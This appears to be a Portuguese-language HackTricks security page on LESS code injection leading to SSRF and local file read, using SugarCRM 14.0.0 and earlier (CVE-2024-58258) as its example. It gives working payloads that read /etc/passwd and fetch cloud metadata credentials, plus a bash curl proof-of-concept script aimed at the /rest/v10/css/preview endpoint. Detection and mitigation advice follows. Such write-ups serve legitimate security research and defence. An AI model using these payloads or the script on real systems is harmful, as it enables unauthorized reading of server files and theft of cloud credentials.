# LESS Code Injection leading to SSRF & Local File Read {{#include ../banners/hacktricks-training.md}} ## Visão Geral LESS é um pré-processador CSS popular que adiciona variáveis, mixins, funções e a poderosa diretiva `@import`. Durante a compilação, o mecanismo LESS irá **buscar os recursos referenciados nas declarações `@import`** e embutir ("inline") seus conteúdos no CSS resultante quando a opção `(inline)` é usada. Quando uma aplicação concatena **entrada controlada pelo usuário** em uma string que é posteriormente analisada pelo compilador LESS, um atacante pode **injetar código LESS arbitrário**. Ao abusar de `@import (inline)`, o atacante pode forçar o servidor a recuperar: * Arquivos locais via o protocolo `file://` (divulgação de informações / Inclusão de Arquivos Locais). * Recursos remotos em redes internas ou serviços de metadados em nuvem (SSRF). Essa técnica foi vista em produtos do mundo real, como **SugarCRM ≤ 14.0.0** (endpoint `/rest/v10/css/preview`). ## Exploração 1. Identifique um parâmetro que está diretamente embutido dentro de uma string de folha de estilo processada pelo mecanismo LESS (por exemplo, `?lm=` no SugarCRM). 2. Feche a declaração atual e injetar novas diretivas. Os primitivos mais comuns são: * `;` – termina a declaração anterior. * `}` – fecha o bloco anterior (se necessário). 3. Use `@import (inline) '';` para ler recursos arbitrários. 4. Opcionalmente, injetar um **marcador** (`data:` URI) após a importação para facilitar a extração do conteúdo buscado do CSS compilado. ### Leitura de Arquivos Locais ``` 1; @import (inline) 'file:///etc/passwd'; @import (inline) 'data:text/plain,@@END@@'; // ``` O conteúdo de `/etc/passwd` aparecerá na resposta HTTP logo antes do marcador `@@END@@`. ### SSRF – Metadados da Nuvem ``` 1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/"; @import (inline) 'data:text/plain,@@END@@'; // ``` ### PoC Automatizado (exemplo SugarCRM) ```bash #!/usr/bin/env bash # Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd TARGET="$1" # Base URL of SugarCRM instance RESOURCE="$2" # file:// path or URL to fetch INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))") curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \ sed -n 's/.*@@END@@\(.*\)/\1/p' ``` ## Detecção * Procure por respostas `.less` ou `.css` geradas dinamicamente contendo parâmetros de consulta não sanitizados. * Durante a revisão de código, busque construções como `"@media all { .preview { ... ${userInput} ... } }"` passadas para funções de renderização LESS. * Tentativas de exploração frequentemente incluem `@import`, `(inline)`, `file://`, `http://169.254.169.254`, etc. ## Mitigações * Não passe dados não confiáveis para o compilador LESS. * Se valores dinâmicos forem necessários, escape/sanitize-os adequadamente (por exemplo, restrinja a tokens numéricos, listas brancas). * Desative, quando possível, a capacidade de usar imports `(inline)`, ou limite os protocolos permitidos a `https`. * Mantenha as dependências atualizadas – SugarCRM corrigiu esse problema nas versões 13.0.4 e 14.0.1. ## Casos do Mundo Real | Produto | Endpoint Vulnerável | Impacto | |---------|---------------------|---------| | SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | SSRF não autenticado & leitura de arquivo local | ## Referências * [SugarCRM ≤ 14.0.0 (css/preview) Vulnerabilidade de Injeção de Código LESS](https://karmainsecurity.com/KIS-2025-04) * [Aviso de Segurança do SugarCRM SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/) * [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) {{#include ../banners/hacktricks-training.md}}